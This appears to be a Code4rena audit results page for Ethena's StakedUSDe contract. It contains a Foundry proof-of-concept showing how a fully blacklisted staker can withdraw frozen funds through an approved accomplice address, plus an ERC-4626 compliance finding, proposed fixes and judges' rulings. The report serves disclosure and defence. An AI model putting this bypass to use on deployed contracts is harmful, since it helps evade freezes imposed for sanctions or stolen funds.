Platform: Code4rena
Start Date: 24/10/2023
Pot Size: $36,500 USDC
Total HM: 4
Participants: 147
Period: 6 days
Judge: 0xDjango
Id: 299
League: ETH
Rank: 50/147
Findings: 2
Award: $123.66
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: josephdara
Also found by: 0xAadi, 0xmystery, 0xpiken, Arz, Beosin, Eeyore, HChang26, J4X, KIntern_NA, Limbooo, RamenPeople, SpicyMeatball, Team_Rocket, Yanchuan, castle_chain, degensec, ge6a, lanrebayode77, mert_eren, sorrynotsorry, tnquanghuy0512
119.1406 USDC - $119.14
https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L217-L238
If a user is fully blacklisted they can circumvent the withdraw/redeem restrictions by approving a fresh address for their balance of StakedUSDe vault shares and withdrawing via the new address.
StakedUSDe.sol
implements a blacklisting mechanism, where a special BLACKLIST_MANAGER_ROLE
can add and remove addresses to a blacklist. User can be soft-blacklisted with the SOFT_RESTRICTED_STAKER_ROLE
or fully blacklisted with the FULL_RESTRICTED_STAKER_ROLE
. The latter "prevents an address to transfer, stake, or unstake" (from in-code documentation).
While a fully blacklisted STAKER cannot withdraw directly, they can circumvent the restrictions in the following steps:
withdraw
for the amount with receiver=ACCOMPLICE, owner=STAKERThe following Foundry test that demonstrates the vulnerability. Copy the source to a new file in the project diretory: test/foundry/EvadeRestrictionPoC.t.sol
// Path: test/foundry/EvadeRestrictionPoC.t.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.19; import "forge-std/Test.sol"; import {StakedUSDe} from "../../contracts/StakedUSDe.sol"; import {IStakedUSDe} from "../../contracts/interfaces/IStakedUSDe.sol"; import {USDe} from "../../contracts/USDe.sol"; contract EvadeRestrictionPoC is Test { address constant OWNER = address(2000); address constant BLACKLISTER = address(3000); address constant STAKER = address(4000); address constant ACCOMPLICE = address(5000); bytes32 constant FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE"); bytes32 constant BLACKLIST_MANAGER_ROLE = keccak256("BLACKLIST_MANAGER_ROLE"); USDe usdeToken; StakedUSDe stakedUSDe; function setUp() public { usdeToken = new USDe(address(this)); usdeToken.setMinter(address(this)); vm.startPrank(OWNER); stakedUSDe = new StakedUSDe(usdeToken, OWNER, OWNER); stakedUSDe.grantRole(BLACKLIST_MANAGER_ROLE, BLACKLISTER); vm.stopPrank(); } function test_poc() public { // 1. STAKER mints and stakes 5 USDe usdeToken.mint(STAKER, 5 ether); vm.startPrank(STAKER); usdeToken.approve(address(stakedUSDe), 5 ether); stakedUSDe.deposit(5 ether, STAKER); vm.stopPrank(); // 2. STAKER is fully blacklisted from the staking contract vm.prank(BLACKLISTER); stakedUSDe.addToBlacklist(STAKER, true); assertTrue(stakedUSDe.hasRole(FULL_RESTRICTED_STAKER_ROLE, STAKER)); // 3. STAKER cannot withdraw himself vm.prank(STAKER); vm.expectRevert(abi.encodeWithSelector(IStakedUSDe.OperationNotAllowed.selector)); stakedUSDe.withdraw(1 ether, STAKER, STAKER); // 4. However STAKER enlists his unrestricted ACCOMPLICE to withdraw on his behalf uint256 balanceBefore = usdeToken.balanceOf(STAKER); // Approve ACCOMPLICE to spend stakedUSDe shares vm.prank(STAKER); stakedUSDe.approve(ACCOMPLICE, type(uint256).max); // ACCOMPLICE successfully withdraws STAKER's shares vm.startPrank(ACCOMPLICE); stakedUSDe.withdraw(1 ether, ACCOMPLICE, STAKER); usdeToken.transfer(STAKER, usdeToken.balanceOf(ACCOMPLICE)); uint256 balanceAfter = usdeToken.balanceOf(STAKER); console2.log("STAKER USDe balance: %s -> %s", balanceBefore, balanceAfter); } }
Run the PoC with forge test --mc EvadeRestrictionPoC -vvv
to get the following output:
Logs: STAKER USDe balance: 0 -> 1000000000000000000
StakedUSDe.sol
overrides the OpenZeppelin ERC20 _beforeTokenTransfer
hook as such:
function _beforeTokenTransfer(address from, address to, uint256) internal virtual override(ERC20) { if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) { revert OperationNotAllowed(); } if (hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) { revert OperationNotAllowed(); } }
Note that a transfer from a fully restricted staker to address(0) is allowed. This is equivalent to the ERC20 burn operation, which is exactly what's performed during the ERC4626 withdraw, so the hook does not revert in that case. I assume the reason for the special case in the hook is so that the owner can burn the blacklisted staker's balance. However, this is exactly what enables this vulnerability.
To mitigate this vulnerability, modify the internal _withdraw
method to revert if the supplied owner
has the FULL_RESTRICTED_STAKER_ROLE
in the same way it is done for caller
and receiver
.
The README.md
describes the intended purpose of FULL_RESTRCITED_STAKER_ROLE
FULL_RESTRCITED_STAKER_ROLE
is for sanction/stolen funds, or if we get a request from law enforcement to freeze funds. Addresses fully restricted cannot move their funds, and only Ethena can unfreeze the address. Ethena also have the ability to repossess funds of an address fully restricted. We understand having the ability to freeze and repossess funds of any address Ethena choose could be a cause of concern for defi users decisions to stake USDe. While we aim to make our operations as secure as possible, interacting with Ethena still requires a certain amount of trust in our organisation outside of code on the smart contract, given the tie into cefi to earn yield.
Manual review, Foundry
Access Control
#0 - c4-pre-sort
2023-10-31T05:57:42Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-31T05:57:50Z
raymondfam marked the issue as duplicate of #7
#2 - c4-pre-sort
2023-11-01T19:45:05Z
raymondfam marked the issue as duplicate of #666
#3 - c4-judge
2023-11-13T19:32:33Z
fatherGoose1 marked the issue as satisfactory
#4 - c4-judge
2023-11-14T15:20:54Z
fatherGoose1 changed the severity to 2 (Med Risk)
🌟 Selected for report: 0xmystery
Also found by: 0x11singh99, 0xAadi, 0xAlix2, 0xG0P1, 0xStalin, 0xWaitress, 0x_Scar, 0xhacksmithh, 0xhunter, 0xpiken, Al-Qa-qa, Arz, Avci, Bauchibred, BeliSesir, Breeje, Bughunter101, DarkTower, Eeyore, Fitro, HChang26, Imlazy0ne, J4X, JCK, Kaysoft, Kral01, Madalad, Mike_Bello90, Noro, PASCAL, PENGUN, Proxy, Rickard, Shubham, SovaSlava, Strausses, Team_Rocket, ThreeSigma, Topmark, Udsen, Walter, Yanchuan, Zach_166, ZanyBonzy, adam-idarrha, adeolu, almurhasan, arjun16, ast3ros, asui, ayden, btk, cartlex_, castle_chain, cccz, chainsnake, codynhat, critical-or-high, cryptonue, csanuragjain, deepkin, degensec, dirk_y, erebus, foxb868, ge6a, hunter_w3b, jasonxiale, kkkmmmsk, lanrebayode77, lsaudit, marchev, matrix_0wl, max10afternoon, nuthan2x, oakcobalt, oxchsyston, pavankv, peanuts, pep7siup, pipidu83, pontifex, ptsanev, qpzm, radev_sw, rokinot, rotcivegaf, rvierdiiev, sorrynotsorry, squeaky_cactus, supersizer0x, tnquanghuy0512, twcctop, twicek, young, zhaojie, ziyou-
4.5226 USDC - $4.52
https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L196-L215 https://github.com/code-423n4/2023-10-ethena/blob/main/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L112-L120
StakedUSDe.sol
does not conform to ERC4626 which may break external integrations.
ERC-4626 defines the methods maxDeposit
, maxMint
, maxWithdraw
, maxRedeem
, which take an address as a parameter and return the maximum amount of assets/shares that can be deposited/withdrawn for that address.
The ERC-4626: Tokenized Vaults specification says that maxDeposit
:
MUST return the maximum amount of assets deposit would allow to be deposited for receiver and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary); MUST factor in both global and user-specific limits, like if deposits are entirely disabled (even temporarily) it MUST return 0.
The same applies analogously for the returned value from maxMint
, maxWithdraw
, and maxRedeem
.
StakedUSDe.sol
inherits from OpenZeppelin's ERC4626.sol
which implements maxDeposit
and maxMint
to return the value type(uint256).max
, which has the special meaning in the spec that there is no limit on the maximum assets/share that can be deposited/minted.
However, StakedUSDe.sol
overrides the OZ ERC4626 _deposit
function and restrictions during depositing and minting (Github link).
// File: StakedUSDe.sol function _deposit(address caller, address receiver, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, caller) || hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._deposit(caller, receiver, assets, shares); _checkMinShares(); }
If the receiver is restricted with the SOFT_RESTRICTED_STAKER_ROLE
, then the maximum assets/shares that can be deposited/minted is 0. This would fall under the user-specific limits
category in the ERC4626 specification.
Therefore maxDeposit
and maxMint
should return 0 if receiver
has role SOFT_RESTRICTED_STAKER_ROLE
.
Note that there is not a bug with the implementation of maxRedeem
and maxWithdraw
. While _withdraw
may revert if there are restrictions on the caller
and receiver
, as far as the spec is concerned, only limits on the onwer
of the assets/shares are considiered. The owner
can still withdraw/redeem all of their balance.
Manual review, ERC-4626: Tokenized Vaults specification
Override the OZ implementation of maxDeposit
and maxMint
to reflect the possible restrictions in _deposit
:
function maxDeposit(address receiver) public view override returns (uint256) { if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver)) return 0; return type(uint256).max; } function maxMint(address receiver) public view override returns (uint256) { if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver)) return 0; return type(uint256).max; }
ERC4626
#0 - c4-pre-sort
2023-10-31T05:47:48Z
raymondfam marked the issue as low quality report
#1 - c4-pre-sort
2023-10-31T05:47:54Z
raymondfam marked the issue as primary issue
#2 - raymondfam
2023-10-31T05:49:11Z
Checks on SOFT_RESTRICTED_STAKER_ROLE are already in place to prevent minting.
#3 - c4-judge
2023-11-14T15:53:43Z
fatherGoose1 changed the severity to QA (Quality Assurance)
#4 - fatherGoose1
2023-11-14T15:54:55Z
Downgrade to QA. While the report correctly identifies lack of compliance with ERC standard, it does not impose risk to the Ethena protocol. There is an ongoing discussion amongst judges on the severity of non-ERC compliance, and I rule that this does not deserve medium severity.
#5 - c4-judge
2023-11-14T15:55:04Z
fatherGoose1 marked the issue as grade-b